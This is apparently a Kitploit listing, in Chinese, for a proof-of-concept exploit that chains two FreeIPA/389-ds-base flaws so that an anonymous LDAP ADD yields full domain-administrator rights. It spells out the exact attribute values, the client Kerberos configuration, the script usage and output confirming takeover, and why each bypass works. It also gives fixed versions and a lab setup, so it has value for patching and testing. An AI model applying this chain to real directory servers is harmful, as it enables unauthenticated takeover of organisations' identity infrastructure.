Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-76578 — 针对 CVE-2026-76578 和 CVE-2026-76560 的概念验证漏洞利用,通过将匿名 LDAP ADD 与 389-ds SELFDN 绕过进行链式利用,从而获取 FreeIPA 域管理员权限。 | Kitploit
工具/GitHubGitHub/brainbob/cve-2026-76578
身份管理漏洞分析漏洞利用渗透测试身份验证论文与研究红队实验室与实践
GitHubbrainbob/cve-2026-76578

CVE-2026-76578

针对 CVE-2026-76578 和 CVE-2026-76560 的概念验证漏洞利用,通过将匿名 LDAP ADD 与 389-ds SELFDN 绕过进行链式利用,从而获取 FreeIPA 域管理员权限。

查看仓库
1天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-76578 — FreeIPA 匿名管理员接管

产品: FreeIPA 4.9.x – 4.13.3
严重性: 严重 (CVSS 9.8)
修复版本: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)


法律声明

本概念验证仅在隔离的、私人拥有的实验环境中开发和执行,用于授权的 安全研究和漏洞验证。

使用此脚本之前:

  • 仅针对您拥有或已获得明确授权测试的系统使用
  • 在执行前验证目标环境和范围是否符合您的交战规则

作者对滥用不承担任何责任。此代码仅供防御性研究和授权渗透测试使用。

关于可移植性的说明: 此脚本已针对下文测试环境部分中列出的特定 软件包版本进行了验证。在其他操作系统版本、补丁级别或非默认 FreeIPA 配置上的行为可能有所不同。在对生产目标得出结论之前,请务必在受控环境中 独立验证结果。


测试环境

参数值
操作系统Fedora 44 (x86_64)
FreeIPAfreeipa-server-4.13.1-9.fc44
389-ds-base389-ds-base-3.2.0-15.fc44
MIT Kerberoskrb5-libs-1.21.x
领域TEST.LOCAL
域test.local
服务器 IP192.168.1.11
主机名ipa-master.test.local
攻击主机Kali Linux(外部,无域成员身份)

漏洞摘要

未经身份验证的 LDAP 客户端可以在 cn=otp 下添加 OTP 令牌条目,并获得 完整的 FreeIPA 域管理员权限。两个缺陷结合在一起:

CVE-2026-76578 (FreeIPA) — OTP ADD ACI 没有 targetattr 限制, 因此匿名 ADD 可以包含任何属性:krbPrincipalAux、krbCanonicalName、 userPassword、krbLastPwdChange 等。

CVE-2026-76560 (389-ds-base) — SELFDN 评估器将 ""(空字符串) 视为匹配匿名绑定 DN,从而绕过了 ipatokenOwner#SELFDN 所有权检查。

零凭据密钥生成

关键洞察 — 无需预先捕获的 blob,无需主密钥访问:

向条目添加 objectClass: inetOrgPerson + userPassword 会触发 389-DS ipapwd 插件,该插件在服务器端自动生成 krbPrincipalKey, 并使用目标领域的 krbMKey 对其进行加密。攻击者提供明文密码; 服务器在内部派生 Kerberos 密钥。

在同一次 ADD 中设置 krbLastPwdChange: 20200101000000Z(过去的日期) 会绕过 krbMinPwdLife 策略,否则该策略会要求在 kinit 成功之前 进行交互式密码更改。


CVE

CVE组件描述
CVE-2026-76578FreeIPAOTP ACI 缺少 targetattr — 任何属性都能通过匿名 ADD
CVE-2026-76560389-ds-baseSELFDN 评估器接受 "" 作为匿名绑定 DN

攻击链

root@kitploit:~
Anonymous LDAP ADD (port 389, zero credentials)
  ipatokenOwner: ""              ← CVE-2026-76560: SELFDN "" == anonymous DN
  objectClass: inetOrgPerson     ← enables userPassword attribute
  userPassword: PwnedPass1!      ← CVE-2026-76578: no targetattr restriction
  krbCanonicalName: admin@REALM  ← not in kerberos uniqueness plugin for cn=otp
  krbLastPwdChange: 20200101     ← bypass krbMinPwdLife policy
        ↓
  389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
        ↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
        ↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
        ↓
uid=admin ∈ cn=admins → full domain administrator

受影响版本


要求

root@kitploit:~
apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit

/etc/hosts:

root@kitploit:~
<target-ip>  ipa-master.test.local

/etc/krb5.conf — Level 3 需要 canonicalize = true:

root@kitploit:~
[libdefaults]
    default_realm = TEST.LOCAL
    canonicalize = true
    forwardable = true
    rdns = false

[realms]
    TEST.LOCAL = {
        kdc = ipa-master.test.local
    }

[domain_realm]
    .test.local = TEST.LOCAL
    test.local = TEST.LOCAL

用法

root@kitploit:~
python3 poc.py <target_ip> <ipa_hostname> <REALM>

# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL

# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL

结果

root@kitploit:~
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
  [+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
  [+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
  [+] TGT obtained — LEVEL 1 CONFIRMED
      Default principal: [email protected]

── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
  [+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
  [+] LEVEL 2 CONFIRMED

── TEST 3: krbCanonicalName=admin collision ──────────────────────────
  [+] ADD with [email protected] succeeded
  [+] TGT obtained — ticket claims principal: [email protected]
  [+] TGT cname is admin — LEVEL 3 CONFIRMED
  [+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
  [+] uid=admin is member of cn=admins — real admin rights confirmed

════════════════════════════════════════════════════════════
  CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
  Level 1 — Server-side krbPrincipalKey + TGT    [✓] CONFIRMED
  Level 2 — GSSAPI LDAP / Kerberos auth          [✓] CONFIRMED
  Level 3 — Real admin group membership           [✓] CONFIRMED

  Full zero-credential compromise chain reproduced.
  No pre-captured blob required.
════════════════════════════════════════════════════════════

技术说明

为什么使用 userPassword 而不是直接使用 krbPrincipalKey

krbPrincipalKey 使用目标的 krbMKey(主密钥)加密。 主密钥存储在 LDAP 中的 cn=REALM,cn=kerberos,只有 Directory Manager 可以读取 — 匿名不行,通过 GSSAPI 的 uid=admin 也不行。

没有主密钥就无法直接注入 krbPrincipalKey。 注入 userPassword 将密钥生成委托给服务器的 ipapwd 插件, 该插件对 krbMKey 具有内部访问权限,并透明地执行加密。 ACI (CVE-2026-76578) 允许 userPassword 通过,且没有 targetattr 检查。

为什么 krbCanonicalName 冲突有效

kerberos 唯一性插件在整个后缀上对 krbPrincipalName 和 krbPrincipalAlias 强制唯一性,但不对 krbCanonicalName 强制。 在 cn=otp 中带有 krbCanonicalName: admin@REALM 的新条目 不会与真实的 admin 主体冲突。

在客户端设置 canonicalize = true 时,kinit attacker@REALM 通过 krbPrincipalName 检索条目,但 KDC 颁发的 TGT 带有 cname = krbCanonicalName = admin@REALM。GSSAPI 将其解析为真实的 uid=admin DN — 该 DN 已经是 cn=admins 的合法成员。不执行任何组 修改。

krbMinPwdLife 绕过

当添加 userPassword 时,ipapwd 将 krbPasswordExpiration 设置为当前 时间(已过期),并将 krbLastPwdChange 设置为当前时间。在默认 krbMinPwdLife = 3600s 的情况下,kinit 会在颁发 TGT 之前提示更改密码。

在原始 ADD 中设置 krbLastPwdChange: 20200101000000Z 会将插件值覆盖为 六年前,满足最小生存期检查。krbPasswordExpiration: 20990101000000Z 可防止过期提示。这两个属性都被接受,因为 OTP ACI 没有 targetattr 限制。


实验环境搭建

要在全新 VM 上部署易受攻击的 FreeIPA 实例:

root@kitploit:~
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]

# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123

修复

root@kitploit:~
dnf update freeipa-server   # → 4.13.4
dnf update 389-ds-base      # → 3.2.0-10.el10_2 (RHEL 10)

FreeIPA 4.13.4 为 OTP ACI 添加了显式的 targetattr 允许列表,阻止 匿名注入 userPassword、krbPrincipalAux、krbPrincipalKey 和 krbCanonicalName。

389-ds-base 3.2.0-10.el10_2 修正了 SELFDN 评估器,使其拒绝将 "" 作为匿名绑定的匹配 DN。

两个修复都需要独立应用 — 仅应用其中一个会减少但不会消除攻击面。

下载工具
组件易受攻击已修复
FreeIPA4.9.x – 4.13.34.13.4
389-ds-base (RHEL 10)< 3.2.0-10.el10_23.2.0-10.el10_2 (RHSA-2026:64785)
389-ds-base (RHEL 9)< patched buildsee corresponding advisory
389-ds-base (Fedora 44)3.2.0-15.fc44not patched at time of testing